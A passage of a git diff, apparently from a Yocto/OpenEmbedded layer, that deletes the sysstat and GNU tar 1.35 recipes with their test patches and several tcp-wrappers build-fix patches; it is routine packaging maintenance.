13 1 file changed, 2 insertions(+), 1 deletion(-)
14
15diff --git a/configure.ac b/configure.ac
16index 48b9a31..cedeb43 100644
17--- a/configure.ac
18+++ b/configure.ac
19@@ -42,7 +42,8 @@ AC_SUBST(VER_JSON)
20 AC_SUBST(VER_XML)
21
22 AC_PATH_PROG(PATH_CP, cp)
23-AC_PATH_PROG(PATH_CHKCONFIG, chkconfig)
24+#AC_PATH_PROG(PATH_CHKCONFIG, chkconfig)
25+AC_SUBST(PATH_CHKCONFIG)
26
27 # Check for systemd
28 AC_CHECK_PROG(PKG_CONFIG, pkg-config, pkg-config)
29--
301.9.1
31
diff --git a/meta/recipes-extended/sysstat/sysstat/99_sysstat b/meta/recipes-extended/sysstat/sysstat/99_sysstat
deleted file mode 100644
index 0b0ec30de0..0000000000
--- a/meta/recipes-extended/sysstat/sysstat/99_sysstat
+++ /dev/null
@@ -1 +0,0 @@
1d root root 0755 /var/log/sa none
diff --git a/meta/recipes-extended/sysstat/sysstat/sysstat.service b/meta/recipes-extended/sysstat/sysstat/sysstat.service
deleted file mode 100644
index ca46befb99..0000000000
--- a/meta/recipes-extended/sysstat/sysstat/sysstat.service
+++ /dev/null
@@ -1,12 +0,0 @@
1[Unit]
2Description=Resets System Activity Logs
3
4[Service]
5Type=oneshot
6RemainAfterExit=yes
7User=root
8ExecStart=@LIBEXECDIR@/sa/sa1 --boot
9
10[Install]
11WantedBy=multi-user.target
12
diff --git a/meta/recipes-extended/sysstat/sysstat_12.7.8.bb b/meta/recipes-extended/sysstat/sysstat_12.7.8.bb
deleted file mode 100644
index 2194dfc956..0000000000
--- a/meta/recipes-extended/sysstat/sysstat_12.7.8.bb
+++ /dev/null
@@ -1,79 +0,0 @@
1SUMMARY = "System performance tools"
2DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux."
3HOMEPAGE = "https://sysstat.github.io/"
4LICENSE = "GPL-2.0-or-later"
5SECTION = "console/utils"
6
7SRC_URI = "git://github.com/sysstat/sysstat.git;protocol=https;branch=master;tag=v${PV} \
8 file://99_sysstat \
9 file://sysstat.service \
10 file://0001-configure.in-remove-check-for-chkconfig.patch \
11 "
12
13LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
14
15SRCREV = "5841596edf7f5e53288cb56400e0c0c1da5f2415"
16
17DEPENDS += "base-passwd"
18
19# autotools-brokensep as this package doesn't use automake
20inherit autotools-brokensep gettext systemd
21
22PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
23PACKAGECONFIG[lm-sensors] = "--enable-sensors,--disable-sensors,lmsensors,lmsensors-libsensors"
24PACKAGECONFIG[cron] = "--enable-install-cron --enable-copy-only,--disable-install-cron --disable-copy-only"
25PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}"
26
27EXTRA_OECONF += "--disable-stripping"
28
29SYSTEMD_PACKAGES = "${PN}"
30SYSTEMD_SERVICE:${PN} = "sysstat.service"
31SYSTEMD_AUTO_ENABLE = "enable"
32
33do_configure:prepend() {
34 export sa_lib_dir=${libexecdir}/sa
35}
36
37do_install() {
38 autotools_do_install
39
40 # Don't version the documentation
41 mv ${D}${docdir}/${BP} ${D}${docdir}/${BPN}
42
43 # don't install /var/log/sa when populating rootfs. Do it through volatile
44 rm -rf ${D}/var
45 if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
46 install -d ${D}/etc/default/volatiles
47 install -m 0644 ${UNPACKDIR}/99_sysstat ${D}/etc/default/volatiles
48 fi
49 if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
50 install -d ${D}${nonarch_libdir}/tmpfiles.d
51 echo "d ${localstatedir}/log/sa - - - -" \
52 > ${D}${nonarch_libdir}/tmpfiles.d/sysstat.conf
53
54 # Unless both cron and systemd are enabled, install our own
55 # systemd unit file. Otherwise the package will install one.
56 if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then
57 install -d ${D}${systemd_system_unitdir}
58 install -m 0644 ${UNPACKDIR}/sysstat.service ${D}${systemd_system_unitdir}
59 sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_system_unitdir}/sysstat.service
60 fi
61 fi
62}
63
64pkg_postinst:${PN} () {
65 if [ ! -n "$D" ]; then
66 if [ -e /etc/init.d/populate-volatile.sh ]; then
67 /etc/init.d/populate-volatile.sh update
68 fi
69 fi
70}
71
72FILES:${PN} += " \
73 ${systemd_system_unitdir} \
74 ${nonarch_base_libdir}/systemd \
75 ${nonarch_libdir}/tmpfiles.d \
76"
77
78TARGET_CC_ARCH += "${LDFLAGS}"
79
diff --git a/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch b/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
deleted file mode 100644
index 27d4d9aebf..0000000000
--- a/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
+++ /dev/null
@@ -1,228 +0,0 @@
1From 39849e9d91f477d3fb839f93cd0815d0cb3273e9 Mon Sep 17 00:00:00 2001
2From: Paul Eggert <eggert@cs.ucla.edu>
3Date: Tue, 18 Jul 2023 09:15:03 -0700
4Subject: tests: fix TESTSUITE_AT
5
6Problem reported by Lukas Javorsky <ljavorsk@redhat.com> in:
7https://lists.gnu.org/r/bug-tar/2023-07/msg00002.html
8* tests/Makefile.am (TESTSUITE_AT): Add exclude17.at, exclude18.at.
9Remove compress.m4; all uses changed. Add a comment saying how
10to rederive this. Sort.
11
12Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=39849e9d91f477d3fb839f93cd0815d0cb3273e9]
13---
14 tests/Makefile.am | 93 ++++++++++++++++++++++++++++---------------------------
15 1 file changed, 48 insertions(+), 45 deletions(-)
16
17diff --git a/tests/Makefile.am b/tests/Makefile.am
18index 4a8f501..1884b72 100644
19--- a/tests/Makefile.am
20+++ b/tests/Makefile.am
21@@ -45,21 +45,24 @@ $(srcdir)/package.m4: $(top_srcdir)/configure.ac
22 ## Test suite. ##
23 ## ------------ ##
24
25+# You can generate the body of this macro with the following shell command:
26+# LC_ALL=C ls *.at */*.at | sed -e 's/^/ /' -e '$!s/$/\\/'
27 TESTSUITE_AT = \
28- testsuite.at\
29- compress.m4\
30 T-cd.at\
31 T-dir00.at\
32 T-dir01.at\
33 T-empty.at\
34+ T-mult.at\
35+ T-nest.at\
36+ T-nonl.at\
37 T-null.at\
38 T-null2.at\
39 T-rec.at\
40 T-recurse.at\
41 T-zfile.at\
42- T-nonl.at\
43- T-mult.at\
44- T-nest.at\
45+ acls01.at\
46+ acls02.at\
47+ acls03.at\
48 add-file.at\
49 append.at\
50 append01.at\
51@@ -68,14 +71,15 @@ TESTSUITE_AT = \
52 append04.at\
53 append05.at\
54 backup01.at\
55- chtype.at\
56- comprec.at\
57- comperr.at\
58+ capabs_raw01.at\
59 checkpoint/defaults.at\
60- checkpoint/interval.at\
61- checkpoint/dot.at\
62 checkpoint/dot-compat.at\
63 checkpoint/dot-int.at\
64+ checkpoint/dot.at\
65+ checkpoint/interval.at\
66+ chtype.at\
67+ comperr.at\
68+ comprec.at\
69 delete01.at\
70 delete02.at\
71 delete03.at\
72@@ -83,6 +87,8 @@ TESTSUITE_AT = \
73 delete05.at\
74 delete06.at\
75 difflink.at\
76+ dirrem01.at\
77+ dirrem02.at\
78 exclude.at\
79 exclude01.at\
80 exclude02.at\
81@@ -100,6 +106,8 @@ TESTSUITE_AT = \
82 exclude14.at\
83 exclude15.at\
84 exclude16.at\
85+ exclude17.at\
86+ exclude18.at\
87 extrac01.at\
88 extrac02.at\
89 extrac03.at\
90@@ -127,11 +135,9 @@ TESTSUITE_AT = \
91 extrac25.at\
92 filerem01.at\
93 filerem02.at\
94- dirrem01.at\
95- dirrem02.at\
96- gzip.at\
97 grow.at\
98- incremental.at\
99+ gzip.at\
100+ ignfail.at\
101 incr01.at\
102 incr02.at\
103 incr03.at\
104@@ -143,8 +149,8 @@ TESTSUITE_AT = \
105 incr09.at\
106 incr10.at\
107 incr11.at\
108+ incremental.at\
109 indexfile.at\
110- ignfail.at\
111 label01.at\
112 label02.at\
113 label03.at\
114@@ -188,22 +194,16 @@ TESTSUITE_AT = \
115 opcomp04.at\
116 opcomp05.at\
117 opcomp06.at\
118- positional01.at\
119- positional02.at\
120- positional03.at\
121 options.at\
122 options02.at\
123 options03.at\
124 owner.at\
125 pipe.at\
126- recurse.at\
127+ positional01.at\
128+ positional02.at\
129+ positional03.at\
130 recurs02.at\
131- rename01.at\
132- rename02.at\
133- rename03.at\
134- rename04.at\
135- rename05.at\
136- rename06.at\
137+ recurse.at\
138 remfiles01.at\
139 remfiles02.at\
140 remfiles03.at\
141@@ -226,11 +226,19 @@ TESTSUITE_AT = \
142 remfiles09b.at\
143 remfiles09c.at\
144 remfiles10.at\
145+ rename01.at\
146+ rename02.at\
147+ rename03.at\
148+ rename04.at\
149+ rename05.at\
150+ rename06.at\
151 same-order01.at\
152 same-order02.at\
153+ selacl01.at\
154+ selnx01.at\
155 shortfile.at\
156- shortupd.at\
157 shortrec.at\
158+ shortupd.at\
159 sigpipe.at\
160 sparse01.at\
161 sparse02.at\
162@@ -247,6 +255,13 @@ TESTSUITE_AT = \
163 sptrcreat.at\
164 sptrdiff00.at\
165 sptrdiff01.at\
166+ star/gtarfail.at\
167+ star/gtarfail2.at\
168+ star/multi-fail.at\
169+ star/pax-big-10g.at\
170+ star/ustar-big-2g.at\
171+ star/ustar-big-8g.at\
172+ testsuite.at\
173 time01.at\
174 time02.at\
175 truncate.at\
176@@ -255,21 +270,11 @@ TESTSUITE_AT = \
177 update02.at\
178 update03.at\
179 update04.at\
180- volsize.at\
181- volume.at\
182 verbose.at\
183 verify.at\
184 version.at\
185- xform-h.at\
186- xform01.at\
187- xform02.at\
188- xform03.at\
189- star/gtarfail.at\
190- star/gtarfail2.at\
191- star/multi-fail.at\
192- star/ustar-big-2g.at\
193- star/ustar-big-8g.at\
194- star/pax-big-10g.at\
195+ volsize.at\
196+ volume.at\
197 xattr01.at\
198 xattr02.at\
199 xattr03.at\
200@@ -278,12 +283,10 @@ TESTSUITE_AT = \
201 xattr06.at\
202 xattr07.at\
203 xattr08.at\
204- acls01.at\
205- acls02.at\
206- acls03.at\
207- selnx01.at\
208- selacl01.at\
209- capabs_raw01.at
210+ xform-h.at\
211+ xform01.at\
212+ xform02.at\
213+ xform03.at
214
215 distclean-local:
216 -rm -rf download
217@@ -291,7 +294,7 @@ distclean-local:
218 TESTSUITE = $(srcdir)/testsuite
219
220 AUTOTEST = $(AUTOM4TE) --language=autotest
221-$(TESTSUITE): package.m4 $(TESTSUITE_AT)
222+$(TESTSUITE): compress.m4 package.m4 $(TESTSUITE_AT)
223 $(AUTOTEST) -I $(srcdir) testsuite.at -o $@.tmp
224 mv $@.tmp $@
225
226--
227cgit v1.1
228
diff --git a/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch b/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
deleted file mode 100644
index 6cd8c5510f..0000000000
--- a/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
+++ /dev/null
@@ -1,60 +0,0 @@
1From 0f0722df45ec520d0dac7c9ad7e69165e9140931 Mon Sep 17 00:00:00 2001
2From: Paul Eggert <eggert@cs.ucla.edu>
3Date: Fri, 7 Oct 2022 15:22:07 -0700
4Subject: tests: check for recently-fixed bug
5
6* tests/exclude17.at: New file.
7
8Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=0f0722df45ec520d0dac7c9ad7e69165e9140931]
9
10Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
11
12---
13 tests/exclude17.at | 35 +++++++++++++++++++++++++++++++++++
14 1 files changed, 35 insertions(+)
15 create mode 100644 tests/exclude17.at
16
17diff --git a/tests/exclude17.at b/tests/exclude17.at
18new file mode 100644
19index 0000000..4162b2b
20--- /dev/null
21+++ b/tests/exclude17.at
22@@ -0,0 +1,35 @@
23+# Process this file with autom4te to create testsuite. -*- Autotest -*-
24+#
25+# Test suite for GNU tar.
26+# Copyright 2013-2022 Free Software Foundation, Inc.
27+
28+# This file is part of GNU tar.
29+
30+# GNU tar is free software; you can redistribute it and/or modify
31+# it under the terms of the GNU General Public License as published by
32+# the Free Software Foundation; either version 3 of the License, or
33+# (at your option) any later version.
34+
35+# GNU tar is distributed in the hope that it will be useful,
36+# but WITHOUT ANY WARRANTY; without even the implied warranty of
37+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
38+# GNU General Public License for more details.
39+
40+# You should have received a copy of the GNU General Public License
41+# along with this program. If not, see <http://www.gnu.org/licenses/>.
42+
43+AT_SETUP([--exclude-vcs-ignores memory allocation])
44+AT_KEYWORDS([exclude exclude17])
45+
46+AT_TAR_CHECK([
47+mkdir dir
48+cd dir
49+echo '*.o' >.cvsignore
50+tar -cf - --exclude-vcs-ignores . | tar -tf -
51+],
52+[0],
53+[./
54+./.cvsignore
55+])
56+
57+AT_CLEANUP
58--
59cgit v1.1
60
diff --git a/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch b/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
deleted file mode 100644
index 577a9ba997..0000000000
--- a/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
+++ /dev/null
@@ -1,112 +0,0 @@
1From 4f814e0e4c673f86dc65a557f7e55f6b5efd1529 Mon Sep 17 00:00:00 2001
2From: Anton Makrushin <makrusan@gmail.com>
3Date: Mon, 20 Mar 2023 20:05:42 +0530
4Subject: Exclude VCS directory with writing from an archive
5
6See https://savannah.gnu.org/bugs/?62859
7
8Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=4f814e0e4c673f86dc65a557f7e55f6b5efd1529]
9
10Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
11
12---
13 tests/exclude18.at | 87 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
14 1 files changed, 87 insertions(+)
15 create mode 100644 tests/exclude18.at
16
17diff --git a/tests/exclude18.at b/tests/exclude18.at
18new file mode 100644
19index 0000000..64aaa52
20--- /dev/null
21+++ b/tests/exclude18.at
22@@ -0,0 +1,87 @@
23+# Process this file with autom4te to create testsuite. -*- Autotest -*-
24+
25+# Test suite for GNU tar.
26+# Copyright 2004-2023 Free Software Foundation, Inc.
27+
28+# This file is part of GNU tar.
29+
30+# GNU tar is free software; you can redistribute it and/or modify
31+# it under the terms of the GNU General Public License as published by
32+# the Free Software Foundation; either version 3 of the License, or
33+# (at your option) any later version.
34+
35+# GNU tar is distributed in the hope that it will be useful,
36+# but WITHOUT ANY WARRANTY; without even the implied warranty of
37+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
38+# GNU General Public License for more details.
39+
40+# You should have received a copy of the GNU General Public License
41+# along with this program. If not, see <http://www.gnu.org/licenses/>.
42+
43+# Test --exclude-vcs option with subcommands: EXTRACT, LIST, DIFF.
44+# Check VCS directory with files, and empty.
45+#
46+# Ref: https://savannah.gnu.org/bugs/?62859
47+# Wed 03 Aug 2022 04:06:28 PM UTC, original submission: Quote
48+# Mohamed Akram <mohdakram>
49+# > The --exclude-vcs flag seems to exclude .gitignore but not .git when
50+# extracting.
51+
52+AT_SETUP([--exclude-vcs extract list compare])
53+AT_KEYWORDS([exclude-vcs extract list compare exclude18])
54+
55+AT_TAR_CHECK([
56+AT_SORT_PREREQ
57+mkdir gitrepo
58+cd gitrepo
59+
60+# Make an empty VCS directory:
61+mkdir .svn
62+
63+# Make a VCS directory with a file:
64+mkdir .git
65+touch .git/_A
66+
67+# Make a VCS file:
68+touch .gitignore
69+
70+# Make non-VCS files:
71+touch .git_B
72+touch _C
73+
74+# Create an archive, include VCS:
75+cd ..
76+tar -cf gitrepo.tar gitrepo
77+rm -r gitrepo
78+
79+echo Extract:
80+tar -xvf gitrepo.tar --exclude-vcs | sort
81+
82+echo
83+echo List:
84+tar -tf gitrepo.tar --exclude-vcs | sort
85+
86+echo
87+echo Diff:
88+tar -dvf gitrepo.tar --exclude-vcs gitrepo | sort
89+
90+],
91+[0],
92+[Extract:
93+gitrepo/
94+gitrepo/.git_B
95+gitrepo/_C
96+
97+List:
98+gitrepo/
99+gitrepo/.git_B
100+gitrepo/_C
101+
102+Diff:
103+gitrepo/
104+gitrepo/.git_B
105+gitrepo/_C
106+],
107+[])
108+
109+AT_CLEANUP
110--
111cgit v1.1
112
diff --git a/meta/recipes-extended/tar/tar/run-ptest b/meta/recipes-extended/tar/tar/run-ptest
deleted file mode 100644
index b4ccbbcb46..0000000000
--- a/meta/recipes-extended/tar/tar/run-ptest
+++ /dev/null
@@ -1,8 +0,0 @@
1#!/bin/sh
2
3cd @PTEST_PATH@/tests/
4
5# Clear old data
6rm -rf testsuite.dir testsuite.log
7
8./testsuite --am-fmt
diff --git a/meta/recipes-extended/tar/tar_1.35.bb b/meta/recipes-extended/tar/tar_1.35.bb
deleted file mode 100644
index d463eff97d..0000000000
--- a/meta/recipes-extended/tar/tar_1.35.bb
+++ /dev/null
@@ -1,100 +0,0 @@
1SUMMARY = "GNU file archiving program"
2DESCRIPTION = "GNU tar saves many files together into a single tape \
3or disk archive, and can restore individual files from the archive."
4HOMEPAGE = "http://www.gnu.org/software/tar/"
5SECTION = "base"
6LICENSE = "GPL-3.0-only"
7LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
8
9SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2"
10
11SRC_URI[sha256sum] = "7edb8886a3dc69420a1446e1e2d061922b642f1cf632d2cd0f9ee7e690775985"
12
13inherit autotools gettext texinfo
14
15PACKAGECONFIG ??= ""
16PACKAGECONFIG:append:class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
17
18PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
19PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
20
21EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
22
23CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
24
25do_install () {
26 autotools_do_install
27 ln -s tar ${D}${bindir}/gtar
28}
29
30do_install:append:class-target() {
31 if [ "${base_bindir}" != "${bindir}" ]; then
32 install -d ${D}${base_bindir}
33 mv ${D}${bindir}/tar ${D}${base_bindir}/tar
34 mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
35 rmdir ${D}${bindir}/
36 fi
37}
38
39# add for ptest support
40SRC_URI += " \
41 file://run-ptest \
42 file://0001-tests-fix-TESTSUITE_AT.patch \
43 file://0002-tests-check-for-recently-fixed-bug.patch \
44 file://0003-Exclude-VCS-directory-with-writing-from-an-archive.patch \
45"
46
47inherit ptest
48
49do_compile_ptest() {
50 oe_runmake -C ${B}/gnu/ check
51 oe_runmake -C ${B}/lib/ check
52 oe_runmake -C ${B}/rmt/ check
53 oe_runmake -C ${B}/src/ check
54 rm -rf ${S}/tests/testsuite
55 oe_runmake -C ${B}/tests/ testsuite
56 oe_runmake -C ${B}/tests/ genfile checkseekhole ckmtime
57}
58
59do_install_ptest() {
60 install -d ${D}${PTEST_PATH}/tests/
61 install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
62 sed -i "/abs_/d" ${D}${PTEST_PATH}/tests/atconfig
63 echo "abs_builddir=${PTEST_PATH}/tests/" >> ${D}${PTEST_PATH}/tests/atconfig
64 install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
65 sed -i "/PATH=/d" ${D}${PTEST_PATH}/tests/atlocal
66 install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
67 install --mode=755 ${B}/tests/checkseekhole ${D}${PTEST_PATH}/tests/
68 install --mode=755 ${B}/tests/ckmtime ${D}${PTEST_PATH}/tests/
69 install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
70 sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/run-ptest
71}
72
73PACKAGES =+ "${PN}-rmt"
74
75FILES:${PN}-rmt = "${sbindir}/rmt*"
76
77inherit update-alternatives
78
79ALTERNATIVE_PRIORITY = "100"
80
81ALTERNATIVE:${PN} = "tar"
82ALTERNATIVE:${PN}-rmt = "rmt"
83ALTERNATIVE:${PN}:class-nativesdk = ""
84ALTERNATIVE:${PN}-rmt:class-nativesdk = ""
85
86ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
87ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
88
89PROVIDES:append:class-native = " tar-replacement-native"
90NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
91
92BBCLASSEXTEND = "native nativesdk"
93
94# Avoid false positives from CVEs in node-tar package
95# For example CVE-2021-{32803,32804,37701,37712,37713}
96CVE_PRODUCT = "gnu:tar"
97
98# A test uses cmp to compare two 8GB files. Busybox's cmp does the job usually, but it is much slower than
99# diffutils' cmp, and the test times out when there is a high load on the host machine.
100RDEPENDS:${PN}-ptest += "diffutils"
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-build-with-clang.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-build-with-clang.patch
deleted file mode 100644
index 9ca227d68d..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-build-with-clang.patch
+++ /dev/null
@@ -1,65 +0,0 @@
1From 7f8878ac1aaf4a19992d39379797c151301bedb1 Mon Sep 17 00:00:00 2001
2From: Oleksiy Obitotskyy <oobitots@cisco.com>
3Date: Mon, 5 Feb 2018 08:29:10 -0800
4Subject: [PATCH] Fix build with clang
5
6Fix "error: non-void function 'fix_options' should return a value".
7Add function prototype to tcpd.c and miscd.c.
8
9Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
10
11Signed-off-by: Oleksiy Obitotskyy <oobitots@cisco.com>
12---
13 v2 - add function prototypes
14
15 fix_options.c | 2 +-
16 miscd.c | 4 ++++
17 tcpd.c | 4 ++++
18 3 files changed, 9 insertions(+), 1 deletion(-)
19
20diff --git a/fix_options.c b/fix_options.c
21index b5e81b8..9958ff4 100644
22--- a/fix_options.c
23+++ b/fix_options.c
24@@ -29,7 +29,7 @@ static char sccsid[] = "@(#) fix_options.c 1.6 97/04/08 02:29:19";
25
26 /* fix_options - get rid of IP-level socket options */
27
28-fix_options(request)
29+void fix_options(request)
30 struct request_info *request;
31 {
32 #ifdef IP_OPTIONS
33diff --git a/miscd.c b/miscd.c
34index 1ab835c..723b83a 100644
35--- a/miscd.c
36+++ b/miscd.c
37@@ -40,6 +40,10 @@ static char sccsid[] = "@(#) miscd.c 1.10 96/02/11 17:01:30";
38 #include "patchlevel.h"
39 #include "tcpd.h"
40
41+#ifdef KILL_IP_OPTIONS
42+void fix_options(struct request_info *);
43+#endif
44+
45 int allow_severity = SEVERITY; /* run-time adjustable */
46 int deny_severity = LOG_WARNING; /* ditto */
47
48diff --git a/tcpd.c b/tcpd.c
49index d865b9c..a179891 100644
50--- a/tcpd.c
51+++ b/tcpd.c
52@@ -38,6 +38,10 @@ static char sccsid[] = "@(#) tcpd.c 1.10 96/02/11 17:01:32";
53 #include "patchlevel.h"
54 #include "tcpd.h"
55
56+#ifdef KILL_IP_OPTIONS
57+void fix_options(struct request_info *);
58+#endif
59+
60 int allow_severity = SEVERITY; /* run-time adjustable */
61 int deny_severity = LOG_WARNING; /* ditto */
62
63--
642.10.3.dirty
65
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
deleted file mode 100644
index 8503177926..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
+++ /dev/null
@@ -1,114 +0,0 @@
1From 9c97b5db237a793e0d1b6b0241570bdc6e35ee24 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Sun, 7 Aug 2022 17:42:24 -0700
4Subject: [PATCH] Fix implicit-function-declaration warnings
5
6These are seen with clang-15+
7
8Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
9Signed-off-by: Khem Raj <raj.khem@gmail.com>
10---
11 hosts_access.c | 3 +++
12 safe_finger.c | 1 +
13 shell_cmd.c | 3 +++
14 tcpd.c | 2 +-
15 tcpdchk.c | 1 +
16 workarounds.c | 1 +
17 6 files changed, 10 insertions(+), 1 deletion(-)
18
19diff --git a/hosts_access.c b/hosts_access.c
20index 0133e5e..58697ea 100644
21--- a/hosts_access.c
22+++ b/hosts_access.c
23@@ -33,6 +33,12 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
24 #endif
25 #include <netinet/in.h>
26 #include <arpa/inet.h>
27+#ifdef USE_GETDOMAIN
28+/* defined in workarounds.c */
29+extern int yp_get_default_domain(char **ptr);
30+#else
31+# include <rpcsvc/ypclnt.h>
32+#endif /* USE_GETDOMAIN */
33 #include <stdio.h>
34 #include <stdlib.h>
35 #include <syslog.h>
36@@ -45,6 +46,8 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
37 #endif
38
39 extern int errno;
40+extern int match_pattern_ylo(const char *s, const char *pattern);
41+extern unsigned long cidr_mask_addr(char* str);
42
43 #ifndef INADDR_NONE
44 #define INADDR_NONE (-1) /* XXX should be 0xffffffff */
45diff --git a/safe_finger.c b/safe_finger.c
46index 23afab1..a6458fb 100644
47--- a/safe_finger.c
48+++ b/safe_finger.c
49@@ -34,6 +34,7 @@ static char sccsid[] = "@(#) safe_finger.c 1.4 94/12/28 17:42:41";
50 #include <syslog.h>
51
52 extern void exit();
53+extern int pipe_stdin(char **argv);
54
55 /* Local stuff */
56
57diff --git a/shell_cmd.c b/shell_cmd.c
58index 62d31bc..a566092 100644
59--- a/shell_cmd.c
60+++ b/shell_cmd.c
61@@ -16,10 +16,13 @@ static char sccsid[] = "@(#) shell_cmd.c 1.5 94/12/28 17:42:44";
62
63 #include <sys/types.h>
64 #include <sys/param.h>
65+#include <sys/wait.h>
66+#include <fcntl.h>
67 #include <signal.h>
68 #include <stdio.h>
69 #include <syslog.h>
70 #include <string.h>
71+#include <unistd.h>
72
73 extern void exit();
74
75diff --git a/tcpd.c b/tcpd.c
76index dc9ff17..4353caa 100644
77--- a/tcpd.c
78+++ b/tcpd.c
79@@ -46,7 +46,7 @@ void fix_options(struct request_info *);
80 int allow_severity = SEVERITY; /* run-time adjustable */
81 int deny_severity = LOG_WARNING; /* ditto */
82
83-main(argc, argv)
84+void main(argc, argv)
85 int argc;
86 char **argv;
87 {
88diff --git a/tcpdchk.c b/tcpdchk.c
89index 5dca8bd..67c12ce 100644
90--- a/tcpdchk.c
91+++ b/tcpdchk.c
92@@ -38,6 +38,7 @@ static char sccsid[] = "@(#) tcpdchk.c 1.8 97/02/12 02:13:25";
93
94 extern int errno;
95 extern void exit();
96+extern unsigned long cidr_mask_addr(char* str);
97 extern int optind;
98 extern char *optarg;
99
100diff --git a/workarounds.c b/workarounds.c
101index b22b378..6335049 100644
102--- a/workarounds.c
103+++ b/workarounds.c
104@@ -21,6 +21,7 @@ char sccsid[] = "@(#) workarounds.c 1.6 96/03/19 16:22:25";
105 #include <stdio.h>
106 #include <syslog.h>
107 #include <string.h>
108+#include <unistd.h>
109
110 extern int errno;
111
112--
1132.37.1
114
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch
deleted file mode 100644
index f485fe3fb6..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch
+++ /dev/null
@@ -1,43 +0,0 @@
1From 24d10919b4bc5e37a2d80b274d2cd2ee77b03549 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 13 Jan 2020 14:25:47 -0800
4Subject: [PATCH] Remove fgets() extern declaration
5
6These sources already include <stdio.h> which should bring the correct
7declaration
8
9Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
10Signed-off-by: Khem Raj <raj.khem@gmail.com>
11---
12 hosts_access.c | 1 -
13 misc.c | 2 --
14 2 files changed, 3 deletions(-)
15
16diff --git a/hosts_access.c b/hosts_access.c
17index 329b35e..0133e5e 100644
18--- a/hosts_access.c
19+++ b/hosts_access.c
20@@ -44,7 +44,6 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
21 #include <netdb.h>
22 #endif
23
24-extern char *fgets();
25 extern int errno;
26
27 #ifndef INADDR_NONE
28diff --git a/misc.c b/misc.c
29index 74ca319..9a5e73a 100644
30--- a/misc.c
31+++ b/misc.c
32@@ -18,8 +18,6 @@ static char sccsic[] = "@(#) misc.c 1.2 96/02/11 17:01:29";
33
34 #include "tcpd.h"
35
36-extern char *fgets();
37-
38 #ifndef INADDR_NONE
39 #define INADDR_NONE (-1) /* XXX should be 0xffffffff */
40 #endif
41--
422.24.1
43
